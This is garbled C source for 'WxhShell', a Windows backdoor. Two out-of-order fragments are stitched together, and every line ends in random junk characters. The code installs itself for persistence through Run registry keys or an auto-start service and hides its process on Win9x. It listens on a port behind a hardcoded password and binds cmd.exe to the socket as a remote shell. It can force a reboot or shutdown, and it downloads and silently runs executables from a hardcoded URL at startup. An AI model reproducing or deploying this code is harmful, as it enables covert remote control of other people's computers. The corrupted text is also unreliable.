    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 97['VOh0  
    if(Boot(SHUTDOWN)) L`<T'3G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 16a_GwfM  
    else { uWJ#+XK.  
    closesocket(wsh); iMP*]K-O  
    ExitThread(0); h9tB''ePE  
    } CpUI|Rs  
    break; 4.,KEt'H  
    } Ib_n'$5#z  
  // 获取shell .Z(S4wV  
  case 's': { yS1b,cxz  
    CmdShell(wsh); B"pFJ"XR  
    closesocket(wsh); (#f m (@T  
    ExitThread(0); s_S<gR  
    break; oG4w8+N  
  } yYxeNE"  
  // 退出 "N?%mCPI  
  case 'x': { zbF:R[)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \;3B?8wbIl  
    CloseIt(wsh); TnbGO;  
    break; KdBq@  
    } wGov|[X  
  // 离开 2b 6? 9FX*  
  case 'q': { *` @XKK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yFPaWW  
    closesocket(wsh); h"RP>fZt  
    WSACleanup(); (>!]A6^L~  
    exit(1); )[@YHE5g  
    break; d- Z+fz  
        } I,CAFq  
  } uQ)JC 7b\  
  } [*Aqy76Qa  
jkQt'!  
  // 提示信息 =sUl`L+w,L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X]&;8  
} ;Sx'O  
  } ,w9#%=xE  
tdw\Di#m  
  return; B"?+5A7  
} ?d>P+).  
*MnG-\{j  
// shell模块句柄 ^hl]s?"3  
int CmdShell(SOCKET sock) 1Rb XM n  
{ azR;*j8Q'  
STARTUPINFO si; (^s&M  
ZeroMemory(&si,sizeof(si)); 9QX ~a X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T/Wm S?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'o)ve(  
PROCESS_INFORMATION ProcessInfo; St~SiTJU  
char cmdline[]="cmd"; %X0NHta ~@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O#Zs3k  
  return 0; Bah.\ZsYQP  
} ]Jq k C4|  
c`$`0}  
// 自身启动模式 c:@OX[##  
int StartFromService(void) C+L_61  
{ TsFdy{/o*  
typedef struct *Sz{DE1U  
{ N?2 #YTjR  
  DWORD ExitStatus; HM$`z"p5jg  
  DWORD PebBaseAddress; zV_-rf  
  DWORD AffinityMask; WFeMr%Zqh>  
  DWORD BasePriority; VhH]n yi7D  
  ULONG UniqueProcessId; U>plv  
  ULONG InheritedFromUniqueProcessId; /n(bThDH  
}   PROCESS_BASIC_INFORMATION; k+q6U[ce  
z:i X]df  
PROCNTQSIP NtQueryInformationProcess; @aiLG wh  
G2yUuyAZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [b k&Nd[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !6tC[W`  
WRcFE<  
  HANDLE             hProcess; @)2V"FE4i  
  PROCESS_BASIC_INFORMATION pbi; Y?vm%t`K  
"{ QHWZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wD?=u\% &  
  if(NULL == hInst ) return 0; ap'kxOf"1  
R !%m5Q?5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rvz.ym:F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); = C'e1=]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q@ )rw0$  
3@cJ=   
  if (!NtQueryInformationProcess) return 0; Ni@e/| 2b  
:5cu,&<Gv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zloaU  
  if(!hProcess) return 0; $m: a-.I  
:56lzsWUE<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~oW8GQ  
s-N?Tzi  
  CloseHandle(hProcess); 'y M:W cN  
J,=E5T}U^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); etK,zEd  
if(hProcess==NULL) return 0; /L|}Y242  
4tTZkJc  
HMODULE hMod; ][5p.owJse  
char procName[255]; {5tEsv  
unsigned long cbNeeded; wIR[2&b  
7}1Kafs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W7[ S7kd  
y0&HXX#\  
  CloseHandle(hProcess); *T2&$W|_a  
[ 6o:v8&3  
if(strstr(procName,"services")) return 1; // 以服务启动 ccRk4xR  
D_ZBx+/_?  
  return 0; // 注册表启动 Lr\ B  
} pvR& ~g  
"A1yqK  
// 主模块 W>|b98NPu  
int StartWxhshell(LPSTR lpCmdLine) Sd{"A0[A|  
{ K9M.+d4  
  SOCKET wsl; k`~br249  
BOOL val=TRUE; ` dUiz5o'  
  int port=0; u[|S*(P  
  struct sockaddr_in door; QRHm |f9_C  
/ bu<,o  
  if(wscfg.ws_autoins) Install(); OK J%M]<  
g5|\G%dOt  
port=atoi(lpCmdLine); 5'-9?-S"  
Qn3+bF4  
if(port<=0) port=wscfg.ws_port; FC(cXPX}  
%y\7  
  WSADATA data; DJ [#H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +}0*_VW  
(l_de)N7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {]Iu">*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nkj'AH"2  
  door.sin_family = AF_INET; jTgh+j]AP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d lLk4a+  
  door.sin_port = htons(port); RTY4%6]O  
BrcXn@tl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S^VV^O5 ^  
closesocket(wsl); y8S6ZtA}2  
return 1; RS02>$jo  
} cH-Zj  
t8N9/DZ}Q  
  if(listen(wsl,2) == INVALID_SOCKET) { .u;TeP  
closesocket(wsl); "K!BJQ  
return 1; |M>k &p,B-  
} VEEeQy  
  Wxhshell(wsl); fDHISJv  
  WSACleanup(); :{uUc  
 +5mkMZ  
return 0; Qu\l$/  
_-\{kJ  
} ^Jc0c)*  
3 v$4LY  
// 以NT服务方式启动 m8^2k2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SZD2'UaG  
{ 0U*"OSpF  
DWORD   status = 0; GZX!iT  
  DWORD   specificError = 0xfffffff; (UT*T  
: {Z^ _;Tf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M':.b+xN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "a{f? .X.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BVp.A]  
  serviceStatus.dwWin32ExitCode     = 0; ppP?1Il`kb  
  serviceStatus.dwServiceSpecificExitCode = 0; }PL  
  serviceStatus.dwCheckPoint       = 0; o9\m? ~g!E  
  serviceStatus.dwWaitHint       = 0; <!>}t a  
N<(`+ ?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3*JybMo"  
  if (hServiceStatusHandle==0) return; C$gLi8|m  
Sd6^%YB  
status = GetLastError(); rep"xV&|>o  
  if (status!=NO_ERROR) S]g)^f'a65  
{ Lpf=VyqC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =ApT#*D)o  
    serviceStatus.dwCheckPoint       = 0; iUBni&B  
    serviceStatus.dwWaitHint       = 0; IpmREl $j  
    serviceStatus.dwWin32ExitCode     = status; 9ksrr{tW  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ft !~w#&-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  B4ze$#  
    return; nCB3d[/B  
  } oP 0j>i,"&  
,[#f}|s_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y|nTc.A  
  serviceStatus.dwCheckPoint       = 0; kyB]fmS  
  serviceStatus.dwWaitHint       = 0; sTyGi1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bx >@HU  
} 7^=jv~>wP  
_*I6O$/>  
// 处理NT服务事件,比如:启动、停止 rzLl M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^yTN (\9  
{ S:QEHd_C  
switch(fdwControl) Q.\ovk~,a  
{ N2J!7uoQ  
case SERVICE_CONTROL_STOP: MsQS{ok+  
  serviceStatus.dwWin32ExitCode = 0; JN)t'm[kyE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9t1_"{'N1  
  serviceStatus.dwCheckPoint   = 0; +Wc[ $,vk  
  serviceStatus.dwWaitHint     = 0; @("AkYPj  
  { $*R9LPpk+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EMbsKG  
  } ;7>--_?=  
  return; .*"IJD9  
case SERVICE_CONTROL_PAUSE: 'QU ?O[CH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (eP)>G]  
  break; lc7]=,qyF  
case SERVICE_CONTROL_CONTINUE: &YNhKm@"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QNFrkel  
  break; v%^H9aK_  
case SERVICE_CONTROL_INTERROGATE: 3RUB2c4  
  break; l1 S1CS  
}; 04t_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .O^|MhBJu  
} C2v7(  
\ PqV|  
// 标准应用程序主函数 3Y8 V?* 1|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Kw|`y %~  
{ RI=B(0 A  
u 6+  
// 获取操作系统版本 OH w6#N$\  
OsIsNt=GetOsVer(); @ 2_&ti  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V*~5*OwB  
->(B: Cz  
  // 从命令行安装 l?;S>s*\?  
  if(strpbrk(lpCmdLine,"iI")) Install(); ",m5}mk:4  
bOdD:=f  
  // 下载执行文件 K0]Wb=v  
if(wscfg.ws_downexe) { 3^Y-P8.zdB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5{> cfN\q  
  WinExec(wscfg.ws_filenam,SW_HIDE); <#-ERQw  
} ~nQb;Bdh%  
'Vd>"ti  
if(!OsIsNt) { X)~-MY*p  
// 如果时win9x,隐藏进程并且设置为注册表启动 C0M{zGT>}  
HideProc(); !IS ,[  
StartWxhshell(lpCmdLine); ;z68`P-  
} @ h]H_  
else  e(^O8  
  if(StartFromService()) 0Ju{6x(|  
  // 以服务方式启动 ` T!O )5  
  StartServiceCtrlDispatcher(DispatchTable); bQ%^l#H_n'  
else *K;~V  
  // 普通方式启动 dj=n1f+;[  
  StartWxhshell(lpCmdLine); yWuq/J:  
":Q^/;D}U  
return 0; (:1 j-  
} ;p/@tr9  
w%ForDB>P  
1gC=xMAT  
SO)??kQ{U  
=========================================== 1\Mcs X4  
R?W8l5CIk  
t`?FSV  
_heQ|'(  
i[<O@Rb  
a4wh-35/  
" bke 1 F '  
=<g\B?s]  
#include <stdio.h> Abl=Ev  
#include <string.h> l6&R g-  
#include <windows.h> G~JQcJFj  
#include <winsock2.h> Q~9:}_@  
#include <winsvc.h> jkbz8.K  
#include <urlmon.h> ()7=(<x{  
G/y< bPQ  
#pragma comment (lib, "Ws2_32.lib") Zy'bX* s|  
#pragma comment (lib, "urlmon.lib") T:si?7CR  
e1H.2n{y^  
#define MAX_USER   100 // 最大客户端连接数 K46\Rm_:B;  
#define BUF_SOCK   200 // sock buffer "0 v]O~s  
#define KEY_BUFF   255 // 输入 buffer 6ul34\;  
<Z vG&  
#define REBOOT     0   // 重启 S4Rv6{r:  
#define SHUTDOWN   1   // 关机 i_MDLS>-  
]`MRH[{  
#define DEF_PORT   5000 // 监听端口 RGiA>Z:W  
1:,aFp>qr  
#define REG_LEN     16   // 注册表键长度 rO-Tr  
#define SVC_LEN     80   // NT服务名长度 39OZZaWL  
'\9A78NV{;  
// 从dll定义API k -SUp8}g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U $+rlw}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E_xpq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6rRPqO j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pdE=9l'  
t?/#:J*_7  
// wxhshell配置信息 5SDHZ?h  
struct WSCFG { BqR8%F  
  int ws_port;         // 监听端口 TfJB;  
  char ws_passstr[REG_LEN]; // 口令 r:u5+A  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jx 'p\*  
  char ws_regname[REG_LEN]; // 注册表键名 /$B<+;L!#  
  char ws_svcname[REG_LEN]; // 服务名 md<%Z4+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D[U5SS!)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f~E'0f_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~_R=2t{u _  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ; LTc4t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .>&kA f.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o\2#o5#  
Yh4e\]ql~N  
}; C7PHZ`<  
/ VJ[1o^  
// default Wxhshell configuration Xmtq~}K>  
struct WSCFG wscfg={DEF_PORT, 3C.bzw^  
    "xuhuanlingzhe", W[+E5I  
    1, @v|_APy#  
    "Wxhshell", h(>4%hF  
    "Wxhshell", G:f]z;Xdp  
            "WxhShell Service", xAsbP$J:  
    "Wrsky Windows CmdShell Service", P E.^!j  
    "Please Input Your Password: ", sHKT]^7  
  1, !30BZM^  
  "http://www.wrsky.com/wxhshell.exe", C7,Ol0`v  
  "Wxhshell.exe" ~GMlnA]6  
    }; Uw4KdC  
oc>,5 x  
// 消息定义模块 7+@:wX\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /)6<`S(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; entO"~*EX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zZseK  
char *msg_ws_ext="\n\rExit."; Pr/K5aJeg  
char *msg_ws_end="\n\rQuit."; Z&YW9de@  
char *msg_ws_boot="\n\rReboot..."; l3-;z)SgH  
char *msg_ws_poff="\n\rShutdown..."; l[.RnM[v  
char *msg_ws_down="\n\rSave to "; H<g- Bhv  
,+%$vV .g\  
char *msg_ws_err="\n\rErr!";  >Xh 9{/o  
char *msg_ws_ok="\n\rOK!"; d+Pfi)+(I  
{dhGSM7  
char ExeFile[MAX_PATH]; ,H\EPmNHK  
int nUser = 0; sZ7{_}B  
HANDLE handles[MAX_USER]; oj[Wzeg%  
int OsIsNt; C%0|o/Wi  
} 5FdX3YR  
SERVICE_STATUS       serviceStatus; u\.7#D>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D8qZh1w%A|  
/c8F]fkZ=  
// 函数声明 o"J}@nF  
int Install(void); _6(QbY'JV`  
int Uninstall(void); aB+Ux< -  
int DownloadFile(char *sURL, SOCKET wsh); 2VA\{M  
int Boot(int flag); l+Uy  
void HideProc(void); fXEF]C  
int GetOsVer(void); C1Slx !}  
int Wxhshell(SOCKET wsl); ci <`*>l  
void TalkWithClient(void *cs); e@F9'z4  
int CmdShell(SOCKET sock); 7lqj" o(  
int StartFromService(void); +K])&}Dw  
int StartWxhshell(LPSTR lpCmdLine); 6$lj$8\  
Jo1n>Mo-j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); swntz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U5[xW  
]4ya$%A  
// 数据结构和表定义 "}Of f  
SERVICE_TABLE_ENTRY DispatchTable[] = }1f@>'o  
{ RHZ5f0b4L  
{wscfg.ws_svcname, NTServiceMain}, hS/oOeG<Y  
{NULL, NULL} 9# IKb:9k  
}; 9s8B>(L  
<b~KR8  
// 自我安装 =X'i^Q  
int Install(void)  K!VIY|U  
{ u_[s+ J/  
  char svExeFile[MAX_PATH]; gBA UrY%]  
  HKEY key; }SR}ET&z  
  strcpy(svExeFile,ExeFile); 4W &HUQ?^  
Pwn"!pk  
// 如果是win9x系统,修改注册表设为自启动 XbsEO>_Z'A  
if(!OsIsNt) { (p08jR '5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M.iR5Uh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hqd}L~o:  
  RegCloseKey(key); ?>SC:{(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F:"<4hiA"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i/N4uq}'A<  
  RegCloseKey(key); S\RjP*H*  
  return 0; CZcn X8P'8  
    } ^R',P(@oL  
  } 5-3`@ (/  
} k7yQEU  
else { Yj99[ c#]  
5RCZv\Wd&  
// 如果是NT以上系统,安装为系统服务 m{4e+&S|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {h5 S=b  
if (schSCManager!=0) !$P +hX`  
{ 0vbiq  
  SC_HANDLE schService = CreateService {KYbsD  
  ( )xYv$6=  
  schSCManager, m&(yx| a4+  
  wscfg.ws_svcname, <8nl}^d5  
  wscfg.ws_svcdisp, \' (_r  
  SERVICE_ALL_ACCESS, (ds-p[`[m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3)ac  
  SERVICE_AUTO_START, +`4`OVE_#  
  SERVICE_ERROR_NORMAL, Q|/uL`_ni  
  svExeFile, q{I,i(%m8  
  NULL, o%_MTCANy  
  NULL, C,T9xm  
  NULL, ,b!!h]t  
  NULL, Sp8Xka~5*#  
  NULL rV.04m,  
  ); e]R`B}vO  
  if (schService!=0) AW3\>WC  
  { +NL^/y<;  
  CloseServiceHandle(schService); P[{qp8(g  
  CloseServiceHandle(schSCManager); {?tK]g#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A;VjMfoB  
  strcat(svExeFile,wscfg.ws_svcname); ;O` \rP5w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2K?~)q&t*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :l<)p;\  
  RegCloseKey(key); O9y4.`a"  
  return 0; Z@ AHe`A  
    } # LRN@?P  
  } q2v:lSFY  
  CloseServiceHandle(schSCManager); 0IU>KGJ-0s  
} ZNb;2 4  
} *K#7,*Oz  
?Ne@OMc  
return 1; \\;i  
} ($a ?zJr  
).aQ}G wx^  
// 自我卸载 Cw`8[)=}o  
int Uninstall(void) fh~"A`d  
{ 05et h  
  HKEY key; =2&/Cn4  
>s#[dr\ww  
if(!OsIsNt) { Da_8Q(XFe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {z)&=v@  
  RegDeleteValue(key,wscfg.ws_regname); ~3k& =3d]  
  RegCloseKey(key); `m2e *  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BQYj"Wi  
  RegDeleteValue(key,wscfg.ws_regname); 1 o<l;:  
  RegCloseKey(key); Gok8:,  
  return 0; .yz-o\,gF%  
  } |Z%I3-z_DS  
} #hinb[fQ  
} HSq.0vYl6  
else { X r7pFw  
hw[jVx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 97"dOi!Wh  
if (schSCManager!=0) rMDo5Z2  
{ _?UW,5=O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eL)* K>T  
  if (schService!=0) Y|ONCc  
  { z;Pr] *F  
  if(DeleteService(schService)!=0) { (qn ;MN6<  
  CloseServiceHandle(schService); \BB(0Ah+t  
  CloseServiceHandle(schSCManager); C)^FRnb  
  return 0; En@] xvE  
  } Jvi"K  
  CloseServiceHandle(schService); B35zmFX|}N  
  } a'R)3:S  
  CloseServiceHandle(schSCManager); KP)BD;  
} f"XFf@!  
} xEK+NKTeV  
">b~k;M?  
return 1; J &,N1B  
} S<n3wR"^  
5+U2@XV  
// 从指定url下载文件 1_JxDT,=>  
int DownloadFile(char *sURL, SOCKET wsh) EZvB#cuL-  
{ 1$,t:/'-4  
  HRESULT hr; 2u9^ )6/  
char seps[]= "/"; GH%'YY3|  
char *token; k;V4%O  
char *file; _Q<wb8+/  
char myURL[MAX_PATH]; F",]*> r  
char myFILE[MAX_PATH]; x?Wt\<|h!  
jRz2l`~7#  
strcpy(myURL,sURL); i4T U}.h8  
  token=strtok(myURL,seps); (]'Q!MjGa  
  while(token!=NULL) Ph&AP*Fq  
  { f.Y9gkt3d  
    file=token; U\S%Jq*  
  token=strtok(NULL,seps); AYHfe#!  
  } !Ju?REH   
% '>S9Ja3  
GetCurrentDirectory(MAX_PATH,myFILE); 1jZ:@M :  
strcat(myFILE, "\\"); t+0&B"  
strcat(myFILE, file); Vv(!Ki}  
  send(wsh,myFILE,strlen(myFILE),0); 5qco4@8  
send(wsh,"...",3,0); 9IL#\:d1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W>b(hVBE  
  if(hr==S_OK) 2G"mm (   
return 0; x&3!z[m@@  
else mi|O)6>8n  
return 1; R7us9qM4e  
s~$kzEtjjU  
} 8F0+\40  
ie$QKoE  
// 系统电源模块 bo&!oY#  
int Boot(int flag) 8WWRKP1V  
{ [|UW_Bz  
  HANDLE hToken; Ah)OyO6  
  TOKEN_PRIVILEGES tkp; G8`q-B}q  
=SLP}bP{:  
  if(OsIsNt) { R!xs;|]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5VWXUNe@_q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LBtVK, ?  
    tkp.PrivilegeCount = 1; ]}9cOb%I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !lE (!d3M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j'-akXo<  
if(flag==REBOOT) { ~az 6n)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w5jH#ja  
  return 0; _,b%t1v  
} >q <,FY!A  
else { .hgc1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D_O%[u}  
  return 0; '9GHmtdO,  
} BZ1@?3  
  } }Evyfc#D  
  else { O7j$bxk/^  
if(flag==REBOOT) { O:q}<ljp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sCaw"{5qc  
  return 0; Z!6\KV]  
} uW4G!Kw28  
else { q=bJ9iJsq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IGql^,b  
  return 0; T~Jl{(s9)  
} 2U>1-p&dn  
} .x6*9z#q  
EBw}/y{Kt  
return 1; $ sEe0  
} KK]AX;  
X =S;8=N  
// win9x进程隐藏模块 (T n*;Xjq  
void HideProc(void) WKBPqfC  
{ -+|0LXo  
N&S :=x:$S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (0D0G-r:  
  if ( hKernel != NULL ) Sijwh1j*V  
  { `;*=2M<c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &[I#5 bGk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H|F>BjXn5  
    FreeLibrary(hKernel); #zrD i  
  } - K}@Gp  
@z dmB~C  
return; '4HwS$mW3  
} G7%Nwe~Y  
$g#X9/+<  
// 获取操作系统版本 bvEk.~tC'  
int GetOsVer(void) l:Ci'=  
{ QwOQS %  
  OSVERSIONINFO winfo; 3dadeu^{A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ofqe+C  
  GetVersionEx(&winfo); 1P8$z:|~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K* [cJcY+  
  return 1; hpWAQ#%oHm  
  else zd#qBj]g  
  return 0; 5I T'u3V  
} * I'O_D  
aM?7'8/  
// 客户端句柄模块 q#sMew\{  
int Wxhshell(SOCKET wsl) XFK$p^qu  
{ 'O\K Wj{  
  SOCKET wsh; E6)FYz7x  
  struct sockaddr_in client; ?_<ZCH  
  DWORD myID; +/Y )s5@<  
C6'[Tn  
  while(nUser<MAX_USER) Zpu>T2Tp  
{ cO(|>&tJ  
  int nSize=sizeof(client); f_raICO{R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y0(k7D|\  
  if(wsh==INVALID_SOCKET) return 1; ctt5t  
N SHlo*)}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IHxX:a/iv  
if(handles[nUser]==0) /jj}.X7yH  
  closesocket(wsh); lZn <v'y  
else aN;L5;m#>{  
  nUser++; #+Vvf  
  } S'3l<sY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #exE ~@fy-  
lX5(KUN  
  return 0; t~U:{g~  
} %j^=  
^{~y+1lt'  
// 关闭 socket "me J n/  
void CloseIt(SOCKET wsh) _HGDqj L  
{ yRvq3>mU  
closesocket(wsh); Y/@4|9!  
nUser--; t}'Oh}CG  
ExitThread(0); %f{kT<XHu  
} BT#'<!7!  
;AG5WPI  
// 客户端请求句柄  d(v )SS  
void TalkWithClient(void *cs) )C|>M'g@v  
{ \f{C2d/6j  
hsfVKlw-  
  SOCKET wsh=(SOCKET)cs; 37lmB '~  
  char pwd[SVC_LEN]; 7Bmt^J5i&t  
  char cmd[KEY_BUFF]; E}1[&  
char chr[1]; VnIJ$5Y  
int i,j; {SROg;vA  
.` ,YUr$.  
  while (nUser < MAX_USER) { PeE'#&w n  
oPWvZI(\&  
if(wscfg.ws_passstr) { =cRJtn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *;o=hM)Tp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'M G)noN5  
  //ZeroMemory(pwd,KEY_BUFF); {kZhje^$vi  
      i=0; :5"|iRP'  
  while(i<SVC_LEN) { `^w5/v#  
|5![k<o#  
  // 设置超时 2V F|T'h  
  fd_set FdRead; ADHe! [6q  
  struct timeval TimeOut; L:B&`,E  
  FD_ZERO(&FdRead); U'lrdc"Q  
  FD_SET(wsh,&FdRead); lWOB!l  
  TimeOut.tv_sec=8; =2`s Uw}  
  TimeOut.tv_usec=0; Ye1P5+W(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b5H[~8mf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n|^-qy'w  
}-8K*A3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i-&kUG_X  
  pwd=chr[0]; E[_Z%zd^  
  if(chr[0]==0xd || chr[0]==0xa) { T]E$H, p  
  pwd=0; gk] r:p<O  
  break; $wX5`d 1  
  } >xH3*0 Lp  
  i++; ?f&*mp  
    } f Z\Ev%F  
R$w=+%F  
  // 如果是非法用户,关闭 socket Dy8Go4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !)&-\!M>  
} -G*u2i_*  
[x)BQX'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =#>P !  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J/ rQ42d  
l sUQ7%f  
while(1) { E2dSOZS:)%  
oXz:zoNQ  
  ZeroMemory(cmd,KEY_BUFF); 2f~s$I&l#  
OGae]O<  
      // 自动支持客户端 telnet标准   T`vj6F  
  j=0; sb8SG_c.  
  while(j<KEY_BUFF) { 57r\s 8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _39b8s {  
  cmd[j]=chr[0]; * 9*I:Uh57  
  if(chr[0]==0xa || chr[0]==0xd) { _s=[z$EN&  
  cmd[j]=0; ql_aDo j  
  break; `#9ZP  
  } 5@Rf]'1B0  
  j++; Ou,B3kuQ+  
    } ."=Bx2  
O0~[]3Y[=  
  // 下载文件 7e u7ie6  
  if(strstr(cmd,"http://")) { ..n-&(c32  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $r_z""eOc  
  if(DownloadFile(cmd,wsh)) ,"*[T\u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !q$IB?8   
